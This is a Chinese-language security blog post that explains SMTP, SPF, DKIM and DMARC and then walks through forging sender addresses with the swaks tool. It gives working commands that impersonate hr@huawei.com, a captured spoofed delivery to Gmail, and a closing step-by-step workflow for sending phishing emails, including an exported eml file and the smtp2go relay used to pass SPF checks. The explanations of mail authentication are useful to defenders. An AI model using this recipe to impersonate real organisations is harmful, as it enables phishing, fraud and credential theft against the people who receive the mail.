邮件伪造原理和实践

文章最后更新时间为:2020年03月31日 09:45:41

1. smtp协议

smtp(Simple Mail Transfer Protocol)是用来发送邮件的协议,属于应用层协议的一种。SMTP的连接和发送过程如下:

  1. 建立TCP连接
  2. 客户端发送HELO或者EHLO命令以标识发件人自己的身份,服务器返回250 OK或者更详细一点的信息。
  3. 然后客户端发送MAIL命令,表明发件人邮箱地址, 服务器端以OK作为响应,表明准备接收
  4. 客户端发送RCPT命令,表明接收人邮箱地址,可以有多个RCPT行,服务器端以OK作为响应,表示愿意为收件人接收邮件
  5. 协商结束,发送邮件,用命令DATA发送,服务端会返回邮件发送成功与否的情况。

下面我们用一个telnet来模仿使用qq邮箱客户端发送一封邮件到gmail邮箱的过程:

发送结果:

上述我们使用qq邮箱服务器发送了邮件给gmail邮箱服务器,其架构如下:

2. SPF介绍

上一节我们是使用qq邮箱服务器来发送邮件的,那么我们能够本地直接发送邮件给gmail服务器呢?答案是可以的,那我们能否在本地发送邮件时假装自己是xxx@qq.com呢?

这就涉及到了邮件伪造问题,我们可以发送邮件给目标邮件服务器,然后声称自己是xxx@qq.com,因为SMTP 协议本身也不要求对此声明做认证,这也就是钓鱼邮件的原理。

但是显然经过这么多年的发展,邮件服务器也不能什么都不管,什么都信任。

发件人策略框架(Sender Policy Framework)就是一套电子邮件认证机制,当你定义了你域名的SPF记录之后,邮件接收方的收件服务器在接受到邮件后,首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回或丢弃处理。

比如我们直接向163邮箱服务器发送一个邮件,并且声称自己是hr@huawei.com

# 163mx03.mxmail.netease.com是163邮件服务器的mx记录ip
ubuntu@10-9-15-151:~$ telnet 163mx03.mxmail.netease.com 25
Trying 220.181.14.158...
Connected to 163mx03.mxmail.netease.com.
Escape character is '^]'.
220 163.com Anti-spam GT for Coremail System (163com[20141201])
ehlo antispam
250-mail
250-PIPELINING
250-AUTH LOGIN PLAIN 
250-AUTH=LOGIN PLAIN
250-coremail 1Uxr2xKj7kG0xkI17xGrU7I0s8FY2U3Uj8Cz28x1UUUUU7Ic2I0Y2UrZp-lKUCa0xDrUUUUj
250-STARTTLS
250-SIZE 73400320
250 8BITMIME
mail from:<hr@huawei.com>
550 MI:SPF 163 mx41,W8CowADH_BmJ+n1e3WJCCQ--.18274S2 1585314452 http://mail.163.com/help/help_spam_16.htm?ip=106.71.91.111&hostid=mx41&time=1585314452

可以看到当我们发送mail from:<hr@huawei.com>来声称邮件发送方时,163的邮箱服务器抛出了SPF错误,也就是说我们发送方的ip106.71.91.111不在huawei.com域名的SPF记录名单里面。

我们可以查一下huawei.com的spf记录

ubuntu@10-9-15-151:~$ nslookup -type=txt huawei.com
;; Truncated, retrying in TCP mode.
Server:        10.9.255.1
Address:    10.9.255.1#53

Non-authoritative answer:
huawei.com    text = "fz9vxRtJpRFrw8&VLnW9Z4gUPdofN1DwkF516%&L9YXHev2&VuoPYaiKqkD@tf7&eI^Aryg5I8SWUR&MxzvhgCfK3*OjUnT%6&ghuawei20190518"
huawei.com    text = "v=spf1 ip4:45.249.212.32 ip4:45.249.212.35 ip4:45.249.212.255 ip4:45.249.212.187/29 ip4:45.249.212.191 ip4:185.176.76.210 ip4:168.195.93.47 ip4:103.69.140.247 -all"
huawei.com    text = "v=DMARC1;p=none;rua=mailto:dmarc@edm.huawei.com"
huawei.com    text = "N3U/UqKcdI+8rthQEYTbph+m6MCg7+IW43PP5SuPxww="
huawei.com    text = "MS=C4F6A693225CC6E058F6C9C39FD728C06C43E597"

Authoritative answers can be found from:
.    nameserver = d.root-servers.net.
.    nameserver = b.root-servers.net.
.    nameserver = k.root-servers.net.
.    nameserver = c.root-servers.net.
.    nameserver = j.root-servers.net.
.    nameserver = e.root-servers.net.
.    nameserver = f.root-servers.net.
.    nameserver = g.root-servers.net.
.    nameserver = i.root-servers.net.
.    nameserver = a.root-servers.net.
.    nameserver = h.root-servers.net.
.    nameserver = m.root-servers.net.
.    nameserver = l.root-servers.net.

关注其中的

v=spf1 ip4:45.249.212.32 ip4:45.249.212.35 ip4:45.249.212.255 ip4:45.249.212.187/29 ip4:45.249.212.191 ip4:185.176.76.210 ip4:168.195.93.47 ip4:103.69.140.247 -all

这是一种常见的SPF写法,其中的-all表明在不匹配前面所列主机时,接收服务器需要将邮件全部拒绝

SPF 记录的匹配机制主要用于定义和指定可由该域名发送邮件的主机,其定义方式包括:

  • all 匹配任何主机,它写在SPF记录最后以匹配在其前面所列出的主机。
  • ip4 匹配IPv4地址或网络范围。
  • ip6 匹配IPv6地址或网络范围。
  • a 匹配主机名或域名。
  • mx 匹配域名的MX记录,当出站与入站邮件为同一服务器时通常采用此种机制。
  • ptr 通过DNS反向记录来匹配发件人IP和域名,由于会增加DNS负载,一般不采用此种机制。
  • exists 只检查域是否在DNS中存在。
  • include 将发件人IP和SPF记录指向另一个域,这种匹配机制通常用于云服务,如Exchange Online Protection。

SPF 记录的匹配机制会结合一些限定词来使用,以告诉服务器找到一条匹配记录时该怎么办。常见的限定词有:

  • +放行,如果没有明确指定限定词,则为默认值
  • –硬拒绝,直接拒绝来自未经授权主机的邮件
  • ~软拒绝,邮件可被接受,也可被标记为垃圾邮件
  • ?中性,不考虑邮件是否被接受

3. DKIM与DMARC

域名密钥识别邮件(DomainKeys Identified Mail,DKIM)是一套电子邮件认证机制,使用公开密钥加密邮件,以检测邮件是否是伪造或被篡改。通常发送方会在电子邮件的标头插入DKIM-Signature及电子签名, 而接收方则透过DNS查询得到公钥后进行验证.

DMARC建立在发件人策略框架 (SPF)和域名识别邮件 (DKIM)协议之上。如果这两种身份验证方法都不通过,DMARC 策略将决定如何处理该消息。DMARC要求域名所有者在DNS记录中设置SPF记录和DKIM记录,并明确声明对验证失败邮件的处理策略。

以上两种机制也是现有的电子邮件安全机制,不过以SPF策略为主。

4. 邮件伪造

4.1 Swaks

Swaks(Swiss Army Knife for SMTP,SMTP瑞士军刀),多功能的SMTP协议测试工具,利用Swaks可以很方便的发送伪造邮件。

常用Swaks指令

--ehlo [helo-string]:伪造ehlo头信息
--header [header-and-data]:伪造From、Subject、Message-Id、X-Mailer等头信息
--data [data-portion]:伪造DATA的全部内容,可直接将邮件源码作为选项
--attach [attachment-specification]:添加附件

具体介绍就不多介绍了,可以看官方主页

这里来个示例:

swaks --to test@163.com --from test@gmail.com --body 'This is a test mailing' --header 'Subject: test' --ehlo gmail.com --header-X-Mailer gmail.com

4.2 SPF记录未设置或者设置不当

当一个域名未设置SPF记录或者设置不当时,就存在邮件伪造漏洞风险。可以通过以下方式探测域名是否存在SPF记录:

nslookup -type=txt xxx.com.cn
  • 未设置(比如我自己的域名)

    root@Test-WEB1-yanq:~# nslookup -type=txt saucer-man.com
    Server:        10.40.59.251
    Address:    10.40.59.251#53
    
    Non-authoritative answer:
    *** Can't find saucer-man.com: No answer
  • 设置不当

比如下面的域名,SPF记录设置成~all,未匹配到的邮件可被接受,也可被标记为垃圾邮件。

ubuntu@10-9-15-151:~$ nslookup -q=txt xxx.com
Server:        10.9.255.1
Address:    10.9.255.1#53

Non-authoritative answer:
xxx.com    text = "v=spf1 ip4:36.7.172.15 ip4:220.248.245.131 ip4:111.39.232.6 ip4:36.7.172.14 ~all"

经过测试,当接收邮箱系统验证SPF时出现上述情况时,不同邮箱系统的反应如下:

  • qq邮箱不接受
  • outlook邮箱接收
  • gmail邮箱标记为垃圾邮件
  • 163邮箱标记为垃圾邮件
root@Test:~# swaks --to yixianosaurusphaaaga7096@gmail.com --from admin@saucer-man.com --body 'This is a test mailing' --header 'Subject: test mail' --ehlo saucer-man.com --header-X-Mailer saucer-man.com
=== Trying gmail-smtp-in.l.google.com:25...
=== Connected to gmail-smtp-in.l.google.com.
<-  220 mx.google.com ESMTP m6si9771129pld.54 - gsmtp
 -> EHLO saucer-man.com
<-  250-mx.google.com at your service, [103.59.50.2]
<-  250-SIZE 157286400
<-  250-8BITMIME
<-  250-STARTTLS
<-  250-ENHANCEDSTATUSCODES
<-  250-PIPELINING
<-  250-CHUNKING
<-  250 SMTPUTF8
 -> MAIL FROM:<admin@saucer-man.com>
<-  250 2.1.0 OK m6si9771129pld.54 - gsmtp
 -> RCPT TO:<yixianosaurusphaaaga7096@gmail.com>
<-  250 2.1.5 OK m6si9771129pld.54 - gsmtp
 -> DATA
<-  354  Go ahead m6si9771129pld.54 - gsmtp
 -> Date: Mon, 30 Mar 2020 15:32:58 +0800
 -> To: yixianosaurusphaaaga7096@gmail.com
 -> From: admin@saucer-man.com
 -> Subject: test mail
 -> X-Mailer: saucer-man.com
 -> 
 -> This is a test mailing
 -> 
 -> .
<-  250 2.0.0 OK  1585553581 m6si9771129pld.54 - gsmtp
 -> QUIT
<-  221 2.0.0 closing connection m6si9771129pld.54 - gsmtp
=== Connection closed with remote host.

接收到的信息:

原始数据:

Delivered-To: yixianosaurusphangnga7096@gmail.com
Received: by 2002:a4f:f31a:0:0:0:0:0 with SMTP id c26csp2268818ivo;
        Mon, 30 Mar 2020 00:33:01 -0700 (PDT)
X-Google-Smtp-Source: APiQypJvIKWdfG+6JpupjdqrYQfiXBeg7CPCrQ/ME+6eM+jUzhd19nOOsyGO1oi2FzXc892BL1EW
X-Received: by 2002:a63:6d0b:: with SMTP id i11mr2776601pgc.404.1585553581825;
        Mon, 30 Mar 2020 00:33:01 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1585553581; cv=none;
        d=google.com; s=arc-20160816;
        b=YbBzqga5isSYWhaqAsRdWg/lzDH0S92InVplzXxAmGXkCqxdt7C3t9mOFLwZpEkpqi
         QW4Y2I4+vAIpbiMi2MqUyLL7tU2Cq/jNlaO6VX+r0Gu1nx8ZxTpUR
         b9yqaZaq6tcg48EWzGfuOT3uBs2aVp9W8Upf0MeSxPLVbpgEnzqMRjqlIhZaXAIe9kR1xg4V4IObPilZfBb4uYY0ayLTDcDDMXTc
         GyjA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=subject:from:to:date:message-id;
        bh=ecGWgWCJeWxJFeM0urOVWP+KOlqqvsQYKOpYUP8nk7I=;
        b=ZHdmyDNpyMR/DCfW1heAmecEtINi+fb5Myr8+sjj1meh6oH0VhTZzvOCTylrp/WXlu
         kGgDW2zzC95QeKAFF3ZbXClFoDVgEGECg2mTmQ2QUXB74qi5EDtu+X4izzxqjBZ+
         m97oeNIBQoka40rvItwK8foHNSo3l6k55cpTvJ6+c1SvOz/eW5f0Im7dFpX3ELrioNMK
         Kuvw==
ARC-Authentication-Results: i=1; mx.google.com;
       spf=temperror (google.com: error in processing during lookup of admin@saucer-man.com: DNS error) smtp.mailfrom=admin@saucer-man.com
Return-Path: <admin@saucer-man.com>
Received: from saucer-man.com ([003.11.50.2])
        by mx.google.com with ESMTP id m6si9771129pld.54.2020.03.30.00.33.01
        for <yixianosaurusphaaaga7096@gmail.com>;
        Mon, 30 Mar 2020 00:33:01 -0700 (PDT)
Received-SPF: temperror (google.com: error in processing during lookup of admin@saucer-man.com: DNS error) client-ip=003.11.50.2;
Authentication-Results: mx.google.com;
       spf=temperror (google.com: error in processing during lookup of admin@saucer-man.com: DNS error) smtp.mailfrom=admin@saucer-man.com
Message-ID: <5e81a0ad.1c69fb81.18eb2.4993SMTPIN_ADDED_MISSING@mx.google.com>
Date: Mon, 30 Mar 2020 15:32:58 +0800
To: yixianosaurusphaaaga7096@gmail.com
From: admin@saucer-man.com
Subject: test mail
X-Mailer: saucer-man.com

This is a test mailing

可以看出没有SPF记录,所以SPF验证失败,虽然也接收了,但是放进了垃圾邮箱。

4.3 利用邮件托管平台绕过SPF记录

当大部分公司SPF都设置的没问题,我们就需要想其他办法了。

我们需要借助到邮件托管平台来绕过SPF监测:

  • smtp2go(速度慢但免费发送量大,需要自己有域名)
  • SendCloud(速度快但免费发送量少)
  • 也可以自己搭建邮件服务器

这里我们使用smtp2go,注册账户并登录,smtp2go中需要存在有效SMTP Users和Domains才能正常投递邮件。

Add SMTP Users:

Add Domains,新建Domain需要一个域名并按照引导完成CNAME绑定:

然后利用swaks发送邮件:

swaks --to xxx@qq.com --from hr@huawei.com --header 'Subject: test main' --ehlo gmail.com --body 'hello, I am blut' --server mail.smtp2go.com -p 2525 -au <username> -ap <password> --header-X-Mailer gmail.com

但是邮箱显示出由 bT.8bpq490=utd2ksqiq7h24d=th2qtu@return.smtpservice.net 代发。

经过测试,各大邮箱的反应如下:

  • qq邮箱,正常接收,显示代发
  • gmail邮箱,正常接收,显示代发
  • 163邮箱,正常接收,显示代发
  • outlook邮箱,正常接收,不显示代发

为什么会显示代发

查看原始邮件会发现存在smtp.from以及From字段。smtp.from代表的就是真正发件人,收件服务器会去其代表的域下进行SPF记录校验,From字段是我们自定义的邮件Header字段,如果当两者不一致时,邮件服务商可能会在客户端显示代发,用来提示收件人邮件伪造攻击风险。

我们使用托管邮箱平台发送邮件时,邮件托管平台的域名会被作为smtp.from值,所以SPF记录校验是PASS的。

5. 总结

上述说了伪造邮件的方式。

  • 如果SPF记录未设置 直接用swaks伪造即可
  • 如果存在SPF记录,则利用第三方邮件托管平台伪造,但是一般会显示由xxx代发

一般情况下我们可以使用如下的流程去发送:

  1. 自己用邮箱编辑好钓鱼邮件,可以包含附件等再发送,然后导出为eml文件:

  1. 编辑eml文件,删除from值和之前的无关紧要的信息,及更改收件人昵称

  1. 使用如下命令发送。
swaks --to xxx@qq.com --from hr@huawei.com --data aaa.eml --server mail.smtp2go.com -p 2525 -au <username> -ap <password>

参考

1 + 4 =
3 评论
    sterstunde Chrome 120 Windows 10
    2023年12月19日 回复

    谢谢,学到了很多

    Quinn Safari 12 OSX
    2020年04月23日 回复

    您好,我是啥都是成功的,唯独收到邮件

      saucerman Chrome 81 Windows 10
      2020年04月23日 回复

      @Quinn 哪里有问题吗